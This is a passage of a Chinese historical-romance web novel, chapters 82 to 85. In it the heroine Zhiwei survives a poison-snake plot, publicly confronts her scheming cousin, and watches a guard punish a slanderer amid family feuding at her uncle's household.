显然这时候跑已经来不及了,花影也看到了,不由惊呼出声,手中的荷包掉落,身体已经不由自主的去挡在知微身前。 可那蛇却没有像她想象中的飞扑至她们身上,而是啪的一下掉在地上,蛇身还扭动了几下,才渐渐不再动了。 身如鬼魅的暗夜看到落在地上的毒蛇差点没被吓摔下去! 这是从哪冒出来的毒蛇,得亏叶姨娘身上有暗器,出了事情他这条小命铁定玩完! 知微欣慰的拍拍花影,道了声没事了,蛇已经死了。 花影被吓到了,她松了口气,拍着胸口结结巴巴道这种行人多的地方,怎么会有蛇呢。 脑袋却已经反应过来,有人要害小姐! 她紧张的攥着知微的手道,小姐,有人要害你,咱们赶紧走! 知微生气了,一双眼睛冷若寒潭,她对花影摇摇头,道:“走了不就不知道是谁要害咱们了?” 她哼的一声,冷笑道,“走吧,去人多的地方,我倒要瞧瞧,是谁这么大的胆子,要在这种地方要了我的命!” 说完便不再看地上死掉的蛇,带着惊魂未定的花影离开了。 花影也不再劝她回去,捡起地上的荷包,小心跟在她身后。 二人顺着路,往中心的地方走。 越往前走越见不断有人往一处人多的地方聚集。 人群中却隐约传来高雅晴的声音。 知微面色沉了沉,疾步上前。 人群内,高雅晴抓着江婉儿的胳膊,一脸怒容,“你就是偷了我大姐的步摇!你头上的两支步摇明明是我小表姐送给我大姐的!你这个小偷!” 周围还围了不少看戏的公子小姐。 江婉儿还是一惯小白花的模样,她脸颊上已经落了泪,眼睫低垂,似是有些害怕,抱着胳膊颤抖着身子道,“不是的,晴妹妹,我知道你不喜欢我,平日里你怎么污蔑我都可以,可是今日,今日这步摇真的不是你说的那个样子。” 江婉儿顾左右而言他,话里话外都是在指责高雅晴平日里便欺负她,污蔑她。 高雅晴气急,伸手便要将她头上的步摇拔下来,却见一男子冲了过来,一把将江婉儿护在身后,转而猛的将高雅晴狠狠一推,高雅晴猝不及防,被推倒外地。 知微眯着眼走进,刚好看到了江婉儿还未来得急放下的唇角。 那男子见高雅晴被他推倒在地还愣了一瞬,心想高雅晴不可能这么柔弱!怎么可能一推就倒! 似乎觉得自己的想法非常合理,他大声质问,“高雅晴,你不要装模作样!我根本就没用力!就碰了你一下你就倒了?哼!丑人多作怪!” 高雅晴气红了眼,踉跄着就要爬起来撕了这对狗男女。 知微已经疾步至她身旁,她淡淡撇了那二人一眼,将她扶起,叫花影搀扶着她。 高雅晴一看来人,眼眶忽的就红了。 知微摸了摸她的脸,安抚道,“交给姐姐,你且好好看着,以后再有人欺负你,你就像姐姐这般做。” 知微转过头,看向二人。 江婉儿看到知微的那一瞬直接变了脸色,怎么会!聂倩儿不是说竹叶青有剧毒吗!刚才的毒蛇她没放?沈知微怎会还活着! 聂倩儿这个废物! 她迟疑的从那男子身后探出头,看着知微一张面无表情的脸,嗫喏着想张嘴狡辩,却见知微已经走进。 而那男子却在看到知微相貌后便呆愣住了,全然忘了身后的江婉儿。 不光是男子,周围的所有人在看清知微相貌的那一瞬全都倒吸了口冷气。 好看,真好看。 清水出芙蓉,天然去雕饰。 说的应就是这般女子了。 却见知微在男子身前站定,啪的一声,抽向男子的脸。 淡淡道:“我也没用力,请问你疼吗?” 男子被打蒙了,知微却并不解气,冷冷的挑起唇角,啪的一巴掌,又一巴掌,男子终于反应过来自己被个女人打了,慌忙躲避,恼羞成怒,大声道,“你竟敢打我!疯女人!你竟敢打我!你知不知道我爹是谁!” 知微直接叫这人气笑了,她挑着眉对男子道,“哦?打你就打你了,有什么不敢的?还用管你爹你谁?” 知微轻蔑的看向男子,“那你说说,你爹是谁?” 拼爹? 呵,除了皇帝!姑奶奶没带怕的!你拼一个试试! 许是知微的表情过于不屑,男子竟没敢说他爹是谁,捂着脸一阵青一阵白。 知微冷笑两声,却没再管他。 她径直走向已经试图逃跑的江婉儿。 江婉儿是真的害怕了,她颤抖着身子慌乱道对不起,沈姐姐我不是, 啪,一声清脆的耳光打在了江婉儿的脸上。 这一巴掌,叫江婉儿的脸颊迅速红肿起来,江婉儿被打出了眼泪,疼的。 她试图在人群中寻求帮助,看到的却是众人戏谑般的眼神。 “我是不是警告过你,不要在我面前耍弄你那点小把戏!” 知微步步紧逼,江婉儿捂着脸步步后退。 “你戴着我送给大表姐的步摇,故意激怒雅晴,为的便是再次败坏她的名声,呵,这一招,你是不是觉得百试百灵?” 她上手捏住了江婉儿的下巴,眼眸中杀意尽显,她用只她俩能听见的声音道,“你怕是,很想死了!” 说完便一把将人扔到地上,伸手将江婉儿头上的两支步摇全部拔下,她拿着步摇冷不丁的扫过江婉儿的面颊,那触感叫江婉儿吓的寒毛直竖,死死的抱着头,身体瑟瑟发抖大气都不敢喘。 她知道,她知道知微没跟她开玩笑!她眼眸中的杀意已经溢出来了! 知微刚要再说些什么,便听一道尖利的女声创了进来。 只见一女子拨开人群,眼神怨毒的看着知微道,“你一个妾室,不躲起来竟还敢抛头露面!你就是一个勾引男人的贱货!下贱的东西,不知道爬过多少男人的床,啊!” 这女子话还未说完,一道黑影如闪电宝从天而降,一道剑光闪过,女子嘴巴张开啊的一声后却见满嘴的鲜血!半截舌头掉落在地上,再也发不出声音! 呲的一声,宝剑回了剑柄,一名女侍卫向知微抱拳行礼后退到一旁。 知微一看,不是初九是谁。 人群呼啦一下散开,尖叫声不绝于耳。 女子满嘴鲜血跪在地上啊啊啊的去捡已经脏污的半截舌头。 “妾室?本侯倒是不知沈二小姐做过何人的妾室!你好大的胆子!竟敢污蔑她!” 未见其人,先闻其声。 不用转头知微都知道是谁。 顾铭珏一席玄色锦袍,头戴玉冠,面若寒潭,冷冷的看着没了舌头的女子。 女子被侍卫按在地上,发疯似的磕头求饶,她虽不知来人身份,一声本侯她便知不是自己能惹的起的!嘴巴里钻心的疼痛叫她不敢再做它想,只求先保住自己这条命! 可惜了,暗夜已经查到刚才的蛇便是她指使人放的,顾铭珏又岂能饶的了她。 此时的知微皱着眉头看着自己裙摆上蹦到的几滴鲜血,气到咬牙,转头狠狠的瞪着男人,妈的装逼男!跟你不出现这事姑奶奶自己解决不了似的!赔我新衣裳! 第83章 只见一位身着官服大腹便便中年男人带着一群人一路小跑着过来了,胖知府 只见一位身着官服大腹便便中年男人带着一群人一路小跑着过来了,胖知府跑出了一脑门的汗,这位爷还真是来无影去无踪,可累死他老朱了。 朱知府站定喘着粗气向顾铭珏躬身问安。 只是这身子还没弯下呢,就听见不远处的一声嘹亮的带着哭腔的,“爹!快救我啊爹!爹!儿子被人打了!爹!啊。” 他儿子真的被人打了,且是当着他老子的面,一脚给踹的四仰八叉的。 冯三这一脚多少带了点个人仇恨,敢欺负我们叶姨娘!打不死你丫的! 胖知府闻声抬头便看到了不远处被侍卫踹翻在地的儿子,差点被吓尿了,他哆嗦着身子直直跪在地上,那他妈分明是安定侯的侍卫!还是亲卫! 完了完了! 这个臭小子!又惹什么祸事了! 老子这条命早晚被他玩完! 顾铭珏只淡淡撇了眼朱知府,那一眼叫朱知府直冒冷汗。 顾铭珏并未言语,他沉着脸行至知微身前,皱着眉头,一瞬不瞬的盯着她,知微表情明显不耐,他内心叹气,又看向知微有些红肿手,道,“怎的自己动手,仔细手疼,下回不要自己来,直接命人砍了就是。” 知微抿着唇,朝他翻了个大大的白眼,老娘跟你似的,走哪一堆侍卫! 冷笑一声,背过身去看同花影抱做一团的高雅晴。 这孩子吓坏了,闭着眼睛,窝在花影怀里身子不断颤抖。 花影也怕,但是却还是强撑着,断断续续的安抚着抱着她的高雅晴。 知微见孩子吓成这模样更生气,转过头狠狠的瞪了顾铭珏两眼,并不解气,心里愤恨却也拿他没办法,只能骂一声狗东西! 高雅晴睁开眼睛,看到表姐,哇的一声扑到知微怀中,大声哭了起来。 她看到聂倩儿的舌头突然就没了,一张嘴鲜血淋漓,半截舌头还在地上蹦了蹦,差点掉到她脚边,好在花影眼疾手快拉了她一把,不然那玩意肯定蹦到她脚上! 可吓死了她了呜呜! 这时跟在知府后面的众人这才到了,高大舅远远的就看到知微和她怀里高雅晴,又看到地上的血迹,眉心狠狠的跳了跳,担心出了什么事情,疾步上前。 宋言澈跟在高大舅身后,跑了几步,在几人不远的地方停了下来。 他尚不知发生了何事,眉头紧皱,在见知微身体无恙之后才松了口气。 大舅行至知微二人身前,细细打量,满眼关切,焦急道,“微儿,出了何事?你们可有受伤?” 知微看到大舅舅,眼眶忽的就红了,她轻轻拍打着高雅晴的背,眼泪啪嗒便落了下来,模样十分委屈,“舅舅,您可来了,晴妹妹被人给打了!” 说完她径直指着地上被她啪啪打了脸的男子,气愤道,“就是他,我过来的时候就看到他把雅晴妹妹推倒在地上,我见他打了妹妹,同他争辩,他要打我,还叫我去打听打听他爹是谁!” 知微眼泪跟断了线似的不断掉落,鼻子抽了抽,“舅舅,他爹是哪一个,怎生这样厉害?” 随后捂着嘴转头看向被侍卫按在地上的男子,好叫他看到自己一侧勾起的唇角,“我爹爹还是尚书令呢,他爹爹是谁,比我爹爹还要厉害吗?” 男子脸色瞬间变的惨白,顾铭珏身后的知府也一屁股坐到地上,心脏差点没被吓出来! 他怎么能跟尚书令大人比呢!哎吆臭小子今日是想要他的命哦! 他赶紧爬起来上前讨好道,“对不住姑娘,您别听这小子胡扯,下官怎么敢跟尚书令大人比,您别生气,这臭小子胡言乱语惊扰了姑娘,下官这便打断他的狗腿给您出气!” 说完便夺过身旁衙役手上的刀,用刀柄狠狠的拍向自己儿子! 他是真下了狠手,老子怎么就生了这么个不省心的东西! 他仕途怕是要葬送于此了! 知微忙着擦泪,看也不看地上一个狠狠的打一个嗷嗷直叫的父子。 怀里的高雅晴见表姐也哭了,扬起小脸,懵懂的看着表姐,知微捏了捏她得胳膊,叫她不要动,影响她发挥。 知微红着眼睛撅着嘴继续抽噎,“大舅舅,是因为婉儿表妹那人才打晴妹妹的。” 她表情愤愤的,面颊被气的通红,“婉儿表妹还说,还说晴妹妹平日里就经常打骂与她,可是我分明瞧着雅晴妹妹对她很好!没有人欺负她!我,我见她头上偷戴了我送给表姐的步摇,气不过说了她两句,她非但不承认,还倒打一耙,如此颠倒黑白,我,我冲动之下便将她给打了。” 说完伸出自己红肿的双手,小模样委屈到无以复加。 “您看看,我的手都肿了。” 知微眼泪啪嗒啪嗒的掉,高雅晴看着表姐的精彩表演,哭都忘了。 她看看一旁抱着头嘴里念叨着不要不要似疯了似的江婉儿,那边被打的嗷嗷直叫的朱大壮,不断磕头求饶的聂倩儿,一时间眼睛不知道该往哪里看才好。 高大舅一口气没上来,平日他给妻子面子,睁一只眼闭一只眼不去计较,今日江婉儿竟敢跑到府外公然欺负他高家人!好!很好! 他气急,“好好!我高家竟还养了个白眼狼!” 说罢便叫身旁的小厮去将江婉儿给我找出来!气煞他也! 小厮大气都不敢喘,指着地上披头散发的白衣女子大声道,回,回老爷,婉儿小姐就在这里! 高大舅皱着眉头看向前方披头散发的女子,受到极大惊吓的江婉儿听见小厮叫自己,抬起头来,看到高大舅的那一瞬眼睛忽的一亮,姨夫定能救我! 她几步爬至高大舅身前拼命的抱住高大舅的腿,大声道,“姨夫救我!姨夫救我!我不要没了舌头!我不要没了舌头!” 她边说边疯狂摇头,头上的珠釵散落一地,眼泪鼻涕胡了一脸,好似经历了什么可怕的事情。 知微有些无趣的撇撇嘴,怎么这么不津吓啊,她还没玩够呢。 一抬眸却对上了顾铭珏含着笑意的眸子,表演了个瞬间变脸。 狗东西!看什么看! 她却没有看到,被顾铭珏有意挡了半边身子的宋言澈眼眸中的震惊,疼惜,和,明了…… 高大舅这才看到地上的血迹,又看地上嘴上满是鲜血地上一摊血迹的女子,这这了两声,显然非常惊讶。 初九看了眼侯爷,垂眸行至高大舅身前躬身道,“回高院长,这女子对沈二姑娘出言不逊,言语恶毒,奴婢才割了她的舌头,且。” 在高大舅震惊的目光中,初九继续道,“且这女子同抱着您大腿哭泣的女子密谋,沈二姑娘在凉亭休息时,偷偷放毒蛇想要毒害沈二姑娘……” 知微猛的看向初九。 她生气了!非常生气! 她转头死死的瞪着一脸云淡风轻的男人! 他竟然!派人跟踪自己! 知微一张脸瞬间冷了下来,也不装了,一张脸沉的吓人。 高大舅震惊过后,怒气上涌,抬起脚,将江婉儿狠狠踢飞! 她怎么敢加害知微!她怎么敢! 狼心狗肺的东西! “来人!给我将她绑了,送进官府!” 说完便转头查看知微有没有受伤。 高雅晴瞪大了眼睛,又被吓出了眼泪,表姐什么都没说啊! 她连忙围着知微查看,毒蛇!那是毒蛇啊! 宋言澈一双眼睛气到通红,他死死的攥紧了拳头,却没敢上前。 不是时候,他告诉自己,忍忍!再忍忍!自己会强大起来的! 他的眼眸变的坚定,知微没事就好,没事就好! 顾铭珏冷笑着撇了宋言澈两眼,走了几步靠近他道,挑眉道,“怎么?很生气?可惜了了,你没有保护她的能力。” 宋言澈呼吸一滞,闭了闭眼睛,再睁开眼中一片清明,他不紧不慢回道,“五十步笑百步,才多久的事情侯爷便忘了,下官保护不了,侯爷便护得了?” 一句话揭了顾铭珏的伤疤,叫他冷了脸,瞬间起了杀心! 这边二人剑拔弩张,那边高大舅湿了眼眶。 知微换上笑脸,冲着大舅呲牙咧嘴一顿保证自己无事,大舅同高雅晴一起翻来覆去的盯了她半晌,这才放下心来。 那边打累儿子稍作休息的胖知府听到这个噩耗额头不断的冒着冷汗,这,这又是谋杀又割舌头的,他到底是撞了什么运了!怎么就非得定下今日办诗会呢! 眼看到了诗会开始的时间,已经有下人来催了两趟,胖知府也不再纠结,心说这事全听*安定侯的,叫他怎么判他就怎么判! 擦了擦额头上的冷汗,给手下递了个眼神,赶紧将被他真的打断了腿还在不断哀嚎的儿子拖走。 小心翼翼的走到顾铭珏身前道,“侯爷,眼看时间要到了,你看,诗会……” 顾铭珏眼皮都未翻,只淡淡点了点头,“你和高院长且先过去。” 胖知府闻言如同大赦,忙不迭又好声好气的去请高大舅。 知微知道今日参加诗会的书生众多,舅舅定是得去的。 她也无意在此事上为难胖知府,扯住大舅舅的衣袖撒娇,“舅舅您赶快去吧,我先去马车上休息一会,护卫都在外头呢,您放心,不会出事的。” 高大舅叹了口气,也知他不去是不行的,便点点头,叫二人先去马车休息,叮嘱高雅晴照顾好知微。 在这时他才发现大女儿不在,他眉头紧皱,也没法计较此事,跟顾铭珏简单行礼后便跟着知府一起急匆匆的离开了。 顾铭珏冲着手下微一摆手,叫人将吓晕了的江婉儿和疼晕过去的聂倩儿带走。 知微见舅舅走了松了口气,但心知这事已经瞒不过娘亲,脸色顿时跨了下来。 她转头恶狠狠的看向顾铭珏,眯着眼睛咬着牙,“顾铭珏!你派人跟踪我!你且给我等着!” 顾铭珏闻言却笑了起来,煞有介事的点头,“嗯,我等着。” 我巴不得你送上门来。 知微气急,弄死他的心都有,心里胡乱的想着对策,却在下一瞬对上了宋言澈的眼睛,他看着她,眼眶微红,那眼眸中似有千言万语,叫她不自觉的有些心虚。 她迅速移开目光,不再看向二人的方向。 顾铭珏的面色顿时又沉了下来,他冲着宋言澈冷笑道,“宋大人该去诗会了!” 宋言澈波澜不惊,直视他道,“侯爷先请。” 顾铭珏微眯着眼睛看着他,宋言澈不甘示弱,面无表情与之对视。 高雅晴看看知微,又看看不远处的剑拔弩张的两个男人,感觉到气氛有些不对,她抿着嘴,抱着表姐的胳膊,大气都不敢喘的。 忽而一阵急促的脚步声传来,吸引了众人的注意。 知微看过去,聂斐然被高淮安搀扶着,脚步踉跄面色苍白着走来。 身后还跟着小跑着的高雅若。 聂斐然应是腿受了伤,一身白衣沾满了血污。 不是,这分开也就半个时辰,怎么聂斐然也出了事情? 高雅晴见聂斐然如此模样被吓了一跳,他腿脚走过的地方被蹭出了长长的血迹,高雅晴忙放开知微的胳膊,小跑过去。 一波未平,一波又起。 今日这诗会,几人定是参加不得了。 第84章 知微紧跟着上前,弯腰查看聂斐然的伤势。聂斐然的小腿明显 知微紧跟着上前,弯腰查看聂斐然的伤势。 聂斐然的小腿明显是被利刃所伤,且伤口较深,所幸并未伤到筋骨,只是血肉外翻,小腿处已经鲜血淋漓十分骇人。 “怎的不直接送上马车,跑到这里来作甚?” 聂斐然被疼的倒吸了口冷气,目光灼灼的望着她,那眼神分明是怕她也出事,心里着急,义无反顾的过来。 知微叹了口气,只是紧皱的眉头丝毫未松,这得多疼啊,她板着脸对高淮安道,“大表兄将他背到车厢去,天热,须得先包扎伤口。” 兴许是到了六月,昨日虽下过大雨,今日还不到午后便热了起来。 竹林里还舒爽,外头烈日下应是过于炎热的。 高淮安看现场环境感觉不妙,但是也知为聂斐然治伤更重要,于是点点头,翻身将聂斐然背到身上,往竹林外头走去。 知微叫高雅晴姐妹跟上,自己则是转身冲知微着离自己最近的初九道,初九,金疮药借我用用。 得到了金疮药的知微同初九点点头,看也不看任何人,潇洒离开。 顾铭珏见况嗤了一声,似乎是十分看不上聂斐然,又转头看了眼宋言澈,眼神也是轻蔑,挑挑唇角,带着一群人转身离去。 宋言澈并不生气。 虽然他在安定侯的眼睛里看到了势在必得。 诚然,无论是身份还是地位他们本就没有站在同一高度。 他确实不配同他争。 可是,在感情一事上,他尚有机会,至少他的胜算,可比这位目中无人狂妄自负的侯爷大的多。 宋言澈眸中万千思绪,只一瞬不瞬的盯着知微的背影,直到人影消失,这才转身离开。 再说聂斐然。 原来那小厮并非是先生差遣来的,人确实是曾经伺候过先生的,只是早就另投他主。 他将聂斐然引到一处偏僻之地,呼啦啦围过十几人将他一顿好打。 聂斐然从前虽身体不好,却也是学了些防身之术的,但对方人手众多,他今日也未带下人,自是打不过。 对方口口声声怪他不自量力,叫他老实的滚出青州,不要妄图得到不属于自己的东西。 背后指使者显而易见,手段太过拙劣。 没关系,都不重要了。 只要打不死我,我定会回来打死你们! 无论有没有这事,他都决定暂时留下,将聂家土崩瓦解,然后全部握在自己手里。 只是他没想到,他那个弟弟,就那么堂而皇之的出现了,嘴里还啧啧些说着辱骂他的话。 至于他被刺的整个过程,谁也没有瞧见。 只是附近的高淮阳听到动静找来的时候便见聂斐然那弟弟手拿着带血的匕首,嘴里还叫嚣着什么。 后来便是高淮阳留下来处理那群流氓,还有两个不知去哪疯玩的小弟,须得晚些回去。 最后便是闻讯赶来的高淮安将聂斐然带走。 那短短的半个时辰,具体发生了什么,只有当事人知道了。 车厢内,知微帮着聂斐然处理伤口。 她跟着念秦也学了些药理,所以处理伤口并不费事。 聂斐然身上的脏,脸却还是干净的,看不出受伤的迹象。 知微没说话,只看向他腿上的伤口。 怎么说呢,细看之下,知微发现这伤口……更像是自己所伤。 聂斐然这么做定有他自己的道理,她并未过问。 知微一言不发,只皱着眉头将伤口处理干净,撒上金疮药,简单包扎。 包扎好之后便叫聂斐然先休息,自己则要去后头的马车。 毕竟男女授受不亲。 聂斐然却一把拉住了她,他面无血色可怜巴巴的望着她。 知微无奈又坐了下来,安抚道,“我去前头的马车,你好好休息,算账这种事,倒也不急于一时,毕竟伤你的那些人应该要先要倒霉了,无需你亲自动手。” 这话叫聂斐然有些不明所以,他没听懂,却还是点点头。 知微是拿脚趾头都能猜出来对聂斐然动手的人是谁的。 她对聂斐然轻轻扯了扯嘴角,叫他好好休息,便叫停了马车,带着花影去了后面。 花影今日也有些被吓到了,知微拍拍她的手,道,“回去叫大夫开个安神药,好好休息两日,先不用来伺候了。” 花影张嘴想要拒绝,知微却道,“咱们出来这一趟,也是麻烦不断,你吃些药好好休息,不知后面还有什么事等咱们呢,身体是革命的本钱,别推辞。” 花影这才点头。 从后头马车没下来的高淮安看着知微深深叹了口气,摸了摸她的发顶,道,“不要什么事都自己撑着,都是一家人,知不知道?” 知微知道他应是从高雅晴嘴里听到一些事情,笑着点头,“知道啦,我没事的,大表兄先去看看斐然吧,咱们回家再说。” 听到她说回家。 高淮安有些欣慰,点点头,扶着她上了马车,这才去了前头。 一进车厢,就见高家姐妹俱是眼眶红红的,应是都刚哭过。 知微挑眉哎吆两声,“干嘛呀这是,怎么还在哭,哭两下行了啊,这一上午,可给我饿坏了。” 说完接过花影递过来的湿帕子擦了擦手,去拿抽屉里的点心,还不忘给花影递一块。 她是真的饿了。 早晨起的早,路上一直在睡,她就在凉亭吃了块点心,还差点被蛇给咬了。 她吃的津津有味,见表姐看着自己欲言又止的眼神,叹了口气。 “若姐姐可别哭了,就一条毒蛇,真的,被我嗖一下就给杀掉了,没事的没事的,真的,人我都敢杀的。” 高雅若见她没心没肺信誓旦旦的样子,自是一万个不信的,都是弱女子,哪里就敢杀人了。 叹了口气,擦净眼泪,倒了两杯温水,递给她们主仆。 花影受宠若惊。 高雅若道,“今日你可算是跟着受了无妄之灾,多亏你照顾她们二人了。” 知微撇撇嘴也没说啥,好吧她承认花影是受她连累,今日可是受了不小的惊吓,回去就给花影加鸡腿!加两个! 待到一行人回府,自又是一派的人仰马翻。 先是被抬下来的腿伤严重的聂斐然,又是扑到娘亲怀里嗷一嗓子就开始了哭的高雅晴。 后是她那个糊涂大舅母在到处找江婉儿。 知微倒是抱着膀子在一旁看热闹,见大舅母不管自己儿子女儿,一心质问大表兄江婉儿哪里去了,怎的没一块回来。 高淮安高雅若脸色本就不好,见母亲这个样子,满眼失望。 二人只站在一旁听着母亲的指责,一句话也不说。 高雅晴哭的上气不接下气,哭什么毒蛇什么坏人什么舌头没了,叫小舅母的听的一头雾水的,只轻轻拍着女儿,好叫她安心,回家了,没有坏人了。 这两厢对比,怎能叫人不寒心。 娘亲去看聂斐然,见神医进去了,便出来找女儿,这刚一出来就见到此情景,她走到知微身前,着急问道可是今日还出了别的事情? 知微点点头,脸上的表情愤愤的,她咬唇思趁片刻对娘亲道,“娘亲,一会我说什么话您都别管我成不成?今日这气我是一定要出的。” 高氏看看女儿,又看看自己大嫂,心里虽有疑惑,却深知知微的脾性,便点点头,由着她去。 知微行至大舅母身前,牵住高雅若的手将母女隔开,道,“大舅母,您的丈夫还有您两个儿子都还没回来呢!怎的您眼睛里只有江婉儿一人吗?您丈夫和孩子都没有她江婉儿一人重要?” 她看大舅母被她说的变了脸色,也不等她回答继续道,“我倒想问问大舅母,我送于大表姐的步摇,今日怎的戴在那江婉儿头上?呵,您拿我大表姐的东西送她,怎的?她江婉儿是我沈家的什么人!也配戴的我送大表姐的东西!看样子您也不是头一次将表姐的东西拿给她了吧,您可想过您亲女儿会是什么样的心情!” 知微越说越气, “是,她是没了亲娘!可我姐姐这个有亲娘的过得却还不如她呢!首饰衣服她哭一哭装个可怜就得给她了?因为表姐比她大几天就得让着她了?可是凭什么?我高家的大小姐凭什么要让着一个外人!” 知微逾矩了,但她说出了众人的心中所想,她一字一句都蹦到了孟氏的脸上,叫她脸上一阵青一阵白,张着嘴说你你的不出一句话来。 知微却也不给她机会说,继续道, “还有,您口口声声问江婉儿为何未同我们一起回来!明明您知道她今早就不是同我们一起去的,现在为何又问怎么不一起回来?呵,真不放心您就跟着她一起去!为难我表兄表姐干什么!真搞不懂,您明明有四个孩子,可在您心中,是没一个比江婉儿重要吗!” 高雅晴在娘亲怀里抽泣,眼睛红的跟兔子似的仰起脸来大声道,“就是,平日里她就污蔑我们欺负她,谁曾想她竟如此恶毒,蛇蝎,蛇蝎心肠,今日,今日她竟和聂倩儿一起放毒蛇要咬死我表姐!娘!她要杀我表姐!!” 哇的一声,高雅晴又嗷了出来,“娘,江婉儿和聂倩儿她们放毒蛇要杀表姐!吓死我了!” 知微张了张嘴,心知这事肯定也瞒不住,便抿着嘴小心挪至自己娘亲身前。 高氏显然受到了惊吓,她将知微翻来覆去的查看,叫她无事,紧紧的攥着女儿的手落泪,气的一句话都说不出来。 花影上前跪地道,“夫人,毒蛇是在凉亭中发现的,当时离小姐只一步不到的距离,是,是竹叶青,通体翠绿。” 却听门外梅神医咋咋呼呼的进来打断了花影的话,“哎吆竹叶青啊,剧毒,这是真想要小丫头的命哦,给老头说说你得罪谁了又!一天天的净不消停!” 梅老头这话说完,高氏直接软了腿脚,神医都说剧毒了!这江婉儿是真的要我女儿的命啊! “报官!来人!给我报官!” “好啊大嫂!高家竟收养了个杀人犯!我女儿怎么她了!她要杀我女儿!我最后叫你一声大嫂!你今日不给我沈家个说法我同你没完!” 孟氏不相信,她慌乱的摇着头自顾自说道,“不可能的,不可能的,婉儿那么胆小善良,不可能的!婉儿定是冤枉的!定是冤枉的!” 她转过身去拉扯女儿儿子,叫他们说江婉儿是被冤枉的! 知微却哼的一声,“大舅母,冤不冤的等衙门查清楚就知道了!可不是你空口白牙逼着我表姐表兄说两句话就行的!” 高雅晴又从娘亲怀里冒了出来,“对!当时知府就在现场!我大伯也在!还有,还有安定侯也在!” “大伯母不要想再欺负大哥哥大姐姐!唔!” 小舅母赶紧捂住女儿的嘴,不叫她火上浇油。 高氏听到安定侯府名字,攥着自己女儿的手猛一顿,紧张的看向女儿,知微摇头小声道,“无事的娘,他因公事来的,今日是巧合,您别紧张。” 高氏知道女儿这是哄自己呢,天下哪有这么多巧合的事情来。 她想到近日收到的丈夫的信,点点头,回京的日程,真的要提上了。 梅神医看热闹不嫌事大,啧啧两声,“看不出来啊,收留的白眼狼杀回娘家探亲的,知微丫头啊,不行你和你娘还是回京吧,我,哎。”他话还未说完便被管家给捂住了嘴,说斐然腿又疼了一顿讨好给哄了出去。 知微已经将花影给扶了起来,叫她先回去休息。 小舅舅回来便见这乱七八糟的正厅,心疼的看着知微,又看看摊在地上的大嫂叹了口气,“雅若带你娘亲回房休息。” 见人都走了才对知微道,“今日这事,怕不是如此简单,你给舅舅说说可好?” 知微讨好的笑笑道,“舅舅,我能不能吃些东西再说啊,可饿死我了这一天。” 第85章 直到深夜,知微才回了院子。因着事情闹的大,惊动了外祖父 直到深夜,知微才回了院子。 因着事情闹的大,惊动了外祖父外祖母。 外祖父恢复的不错,已经能简单活动了,听着知微叙述事情经过,几位长辈的脸色是越来越沉。 外祖母将知微疼抱在怀中,疼惜道:“我们知微受苦了,这次的事情是外祖对你不住,你先回去休息,这个事情外祖定是要给你个交代的。” 知微只点头称是,长辈们说话,她便退了出去。 这一夜,高府内灯火通明。 回去后知微也并未休息,而是将所有人给遣了出去,对着空气来了句,出来吧十三。 屋顶的十三一个踉跄,差点没掉下来。 现身后的十三小心翼翼的看着知微,张了张嘴,没敢发出声音,又低下了头,跟个做错事的孩子似的。 知微叹了口气,上前牵住十三的手,二人坐到榻上。 十三黑了些,也瘦了许多。 知微给她倒了杯热茶,又递上了递上了几日前自己做的点心,眯着眼看着她笑道,“好久没吃了吧,快尝尝,整日风餐露宿的,都瘦了。” 十三听知微还是像从前一般,不由松了口气,她捏起一块糕点放进嘴里,笑着点头,“嗯,好吃,还是从前的味道。” 知微看她吃的开心,有些心酸,嘴上也不放过某人,“顾铭珏那个王八蛋怎的叫你出来了,狗东西一点都不懂的怜香惜玉,伤势可好全了?” 十三自动忽略知微骂人的话,只点点头,笑着讨好道,“嗯,您不必担心,已经全好了。” 知微点点头,“除了你,是不是还有人跟着。” 十三小心的看了知微一眼,点点头,眼睛往上看了看,小心回道,“不过,夜里您身边只有奴婢,暗夜他在树上。” 知微点头,叫她继续吃,“夜里便直接进来睡在外间的榻上,不用在屋顶上受风。” 十三只笑着望她,没敢回应。 知微知晓她受顾铭珏的命令,自是不敢轻举妄动的。 “哦,对了,你可知那聂倩儿为何要置我于何地?我跟她又不认识,无冤无仇的。” 十三咽下点心,正色道,“最近几日聂家的生意出现了许多问题,聂倩儿爹娘因为口不能言不能处理,客户又不信任她,损失了大量银钱,她都算在您和聂公子身上,说定是您二人在里头搞的鬼。另外,除了江婉儿,还有些郑国公府的推动……” 十三虽没说的很详细,但知微却是听的很明白了。 “郑国公府,怕不是冲我来的吧,因为我爹?” 十三点头,“沈大人如今势头正盛,郑国公怕是想在您身上做些文章。” 知微点头,彻底明白过来。 聂家的生意,应是她娘差人动的手脚,聂家气数已尽,希望聂斐然能有用一些。 翌日一早,知微刚起来,便听外头一阵喧哗,大舅母不知怎的又过来了,应是一夜都没有休息,大舅一走便怒气冲冲的找来了。 知微啧啧两声,大舅舅跟大舅母感情挺深啊,都这样了,还能给放出来。 高大舅在时,孟氏伪装的极好,只痛心疾首为何江婉儿会做出这等糊涂事。 只是高大舅一离开,孟氏仿佛被抽掉了心智一般,憋了一夜的火气直蹿头顶,想要找沈知微母女问个清楚明白,为何她们一来婉儿就做出这种事情!定是她沈知微故意冤枉婉儿的!肯定是!她一定要找沈知微问个清楚! 孟氏状若疯妇,被两个婆子拦在院外,知微将自己收拾齐整,这才打开了厢房的门。 “沈知微!你还我婉儿!还我婉儿!你这个贱人!当初就应该死在路上,当人妾室就是活该!你!” 孟氏被高淮安捂住了嘴,孟氏一口咬住了长子的手,直咬出了血都没有松开。 知微只淡淡看着,直到高氏闻讯赶来,一把用力扯开了高淮安,一巴掌朝孟氏扇去。 孟氏被扇歪了脸,高氏一巴掌又一巴掌,直将孟氏扇到两颊红肿,面目全非。 知微拉住了娘亲,轻轻揉了揉娘亲的手,沉声道,“娘亲,不必如此,她是长辈,说什么我听着便是,只是。” 知微转身对着孟氏,眼神冰冷,居高临下道,“念您是长辈,我顾着舅舅脸面,才未出言不逊,既然您恶语相向,那我便最后同您说一句。” 她脸上挂着笑,只是笑意并不达眼底,“我这人睚眦必报,人敬我一分,我还十分,她敢害我,便要承担后果,我便还她百倍千倍也还得,且,您越是为她叫嚣我虐她越狠,本来嘛,我可以叫她有个痛快的死法,但是现在嘛,我必叫她万劫不复,生!不!如!死!” 知微的声音不大,却叫在场地所有人都听了个清楚,她嗓音透着刺骨的寒意,如冬日突如其来的一场大雨,每一个字都浇在人的心头上,叫你不自觉的毛骨悚然,遍体生寒。 高雅若呆愣的看着一脸漠然知微,这才明白过来,知微那句人我也是敢杀的,从来不是玩笑话。 她真的敢,且杀过,不止一次。 高淮安将母亲一掌劈晕,紧张的同知微和高氏道歉。 